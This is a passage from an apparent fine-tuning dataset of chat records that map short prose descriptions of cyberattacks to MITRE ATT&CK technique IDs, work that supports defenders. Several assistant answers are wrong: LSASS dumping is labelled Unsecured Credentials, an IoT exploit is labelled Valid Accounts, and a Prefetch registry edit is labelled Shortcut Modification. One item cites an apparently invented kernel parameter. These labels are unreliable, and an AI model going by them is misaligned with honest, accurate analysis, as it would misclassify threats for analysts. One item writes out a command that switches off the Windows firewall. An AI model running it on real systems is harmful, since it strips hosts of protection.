                "content": "Malware calls Mavinject to attach a malicious payload to svchost.exe, achieving system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised server is transformed into a fake domain controller, enabling the attacker to harvest and reuse privileged accounts across the network."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom browser extension to capture user input fields on web pages, recording credentials typed into login forms."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a vulnerability to capture input events from a remote desktop session, obtaining passwords entered by the user."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured cloud storage bucket, the attacker uploads a ransomware payload that later encrypts files on the network."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker copies the 'Cookies' SQLite database from the Chromium profile and parses it for authentication cookies."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Payload execution is gated on a check that the Windows registry contains a particular value tied to the machine's hardware ID."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign supplies victims with a script that logs into their Office 365 accounts and downloads all unread emails."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a credential dumping tool to pull credentials from LSASS memory on Windows."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious Excel macro-enabled template that runs a command to download additional malware as soon as the template loads."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malicious code into the executable of a remote desktop client to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious extension installed in the Chrome browser pulls saved credentials from Chrome's password manager sync data."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate Windows accessibility features, such as Sticky Keys or Filter Keys, to trigger malicious payloads when the victim changes accessibility settings."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts domain trust metadata from the Active Directory schema to understand trust hierarchies."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used \"awk\" and \"sed\" within a shell pipeline to manipulate configuration files stealthily."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s code seeds a DGA with the current Unix epoch to produce a new set of domains every hour."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder drops a malicious executable that calls the Windows API SetFirewallEnabled(FALSE) to suppress firewall alerts."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a filename like \"cmd .cmd\" with an extra space to confuse command‑line interpreters and antivirus scanners."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a COM add-in that is loaded during the Office Application Startup, exploiting the Office Test sub-technique to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disguises its beacon as normal HTTP/2 traffic, using the same header structure."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathers information about the roles of individuals within the target organization by scraping the corporate intranet."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised advertising network is used to serve drive‑by download payloads that silently install ransomware on visiting systems."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware repeatedly scans the file system for new documents and automatically exfiltrates them without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion team uses a stolen private key to produce counterfeit TLS certificates for phishing sites."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads a crafted .csproj file and triggers MSBuild to compile and execute a payload, using trusted developer tools."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adjusts the security descriptor of a Windows service executable to give full control to the current user, then plants a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts a HTTP GET flood against a web server, exhausting its thread pool and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised hosts have their command history logging disabled by setting the 'audit_control' kernel parameter to 0 on Unix systems."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify GCP Cloud Logging settings to reduce log retention time, causing older logs to be automatically deleted."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team drops a compromised compiled HTML Help file that calls the system’s rundll32.exe through the mshtml engine, allowing them to load malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in an Internet of Things (IoT) device to gain access to a network or disrupt its operation."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages WMI's Win32_OperatingSystem class with the method Reboot to restart the target host remotely."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a C++ program to erase the Zone.Identifier alternate data stream from a payload, thereby bypassing Windows trust verification."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Excel workbook runs a VBA macro that connects to a C2 server and retrieves additional malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code harvests stored passwords from Firefox's logins.json file on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a forced authentication on a mail server using SMTP AUTH, causing the server to transmit user credentials to the attacker’s listening service."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a personalized message with a shortened link that redirects to a fake login portal mimicking the company's VPN, aiming to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates DHCP spoofing by responding to DHCPDISCOVER requests faster than legitimate servers, ensuring victims receive malicious network settings."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a custom SharePoint add‑in that silently uploads exfiltrated data to a remote FTP server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor harvests emails by reading the local Outlook data file (default.pst) without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a custom driver to perform block-level reads of the disk, bypassing OS file APIs."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion inserts a hidden OLE object in an Office document that activates when the user opens PowerPoint, used to test persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts the image names by parsing the output of \"docker images\" on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hires a freelancer to obtain and sell firmware analysis reports for a targeted product."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a Python script that calls the Windows API function NetServerEnum to retrieve a list of networked servers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exfiltrates data by making outbound HTTPS POST requests to a malicious web service and does not process any response, establishing a one-way communication channel."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new registry value under “HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters” to preload malicious code."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection adds a launch agent entry that triggers a PowerShell script whenever the user logs out."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved creating a scheduled task titled 'Microsoft Compatibility Assistant' that executes a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic resolution is achieved by the malware through DNS queries of domains derived from a rolling cipher, eliminating static C2 addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to alter the VM image used by a cloud provider, embedding spyware into newly launched instances."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary plants a malicious USB stick in the target's office, later plugging it in to execute unauthorized code and establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised SSH key to pull code from a remote repository over SSH."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed into a victim's Lambda@Edge function, enabling the attacker to intercept and manipulate web traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a serverless function that runs with default instance profile permissions and invokes the metadata endpoint to dump the associated cloud access keys."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses IRC over TCP port 6667 to maintain persistent C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a gcloud command to spin up a Google Compute Engine instance, installing backdoor software on the new VM."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group employs the Windows Control Panel utility to execute a PowerShell payload on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a DLL hijack in a privileged service's directory to load malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves modifying the deployment package of a serverless function to include ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a new entry to the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious process uses the Windows Management Instrumentation to add a local user account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the group extracted credentials from the KeePass database."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a PowerShell script that sets the firewall state to \"off\" using netsh advfirewall set allprofiles state off."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rents a virtual private server to host a malicious domain registrar for fast‑flux DNS."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker intercepts HTTP traffic between a client and server and changes the JSON payload to inject malicious commands before forwarding it onward."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals purchase a database from a dark‑web vendor that includes the full names of employees at the targeted organization."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware periodically updates its domain's A records to point to different IPs controlled by a botnet, employing dynamic resolution."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code sets up a storage bucket in an orphaned IBM Cloud region, storing stolen credentials while remaining invisible to regional asset inventories."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a credential validation bug, the adversary disables multi‑factor authentication to evade defense mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a Registry ACL modification to allow unauthorized users to edit startup keys."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes ptrace to read and write another process's memory, inserting a backdoor payload without creating a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering intelligence on a target organization's disaster recovery plan and procedures."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a script that parses /etc/shadow to obtain hashed passwords for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors updated the startup script of a Google Compute Engine VM to download and execute a malicious payload on boot."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
